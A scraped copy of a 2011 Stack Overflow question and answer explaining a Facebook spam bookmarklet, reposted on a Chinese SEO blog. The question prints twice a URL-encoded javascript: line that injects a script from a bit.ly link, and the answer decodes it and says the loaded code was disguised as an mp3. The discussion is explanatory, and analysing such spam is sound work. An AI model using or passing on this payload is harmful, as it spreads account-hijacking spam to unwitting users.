最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

javascript - Explanation of Facebook spam code - Stack Overflow

programmeradmin3浏览0评论

So, I've just seen this spam code on Facebook, written in JavaScript and I wondered if someone could explain to me how the code works, and interacts with Facebook. I do not intend to use this for malicious purposes, but I am simply interested in the security of websites like Facebook. Here is the code that is executed from the address bar (I suggest not trying it yourself, you may end up with a few annoyed friends).

javascript:    (a%3D(b%3Ddocument).createElement('script')).src%3D'http%3A%2F%2Fbit.ly%2FFB1337%20%20%3F'%2BM  ath.random()%2Cb.body.appendChild(a)%3Bvoid(0)

So, I've just seen this spam code on Facebook, written in JavaScript and I wondered if someone could explain to me how the code works, and interacts with Facebook. I do not intend to use this for malicious purposes, but I am simply interested in the security of websites like Facebook. Here is the code that is executed from the address bar (I suggest not trying it yourself, you may end up with a few annoyed friends).

javascript:    (a%3D(b%3Ddocument).createElement('script')).src%3D'http%3A%2F%2Fbit.ly%2FFB1337%20%20%3F'%2BM  ath.random()%2Cb.body.appendChild(a)%3Bvoid(0)
Share Improve this question asked Jun 5, 2011 at 20:56 JamesJames 561 silver badge5 bronze badges 1
  • It injects a script tag into the DOM whos source is fetched from another web site. – The Muffin Man Commented Jun 5, 2011 at 21:01
Add a ment  | 

1 Answer 1

Reset to default 3

Check it here, the link is url encoded.:

http://meyerweb./eric/tools/dencoder/

javascript:

a=(b=document).createElement('script')).src='http://bit.ly/FB1337?'+Math.random(),b.body.appendChild(a);void(0)

From what I see: load this url as a script and add it to the current page.

Edit: The script loaded is placed at this url: http://www.raxarstudios./x/audiotrack2.mp3

It's masqueraded as a mp3 song, but it's just javascript: http://pastebin./RVmNVtt9 I've quickly glanced at it, it apparently uses some heavy ajax to add events and to join yourselve to it.

发布评论

评论列表(0)

  1. 暂无评论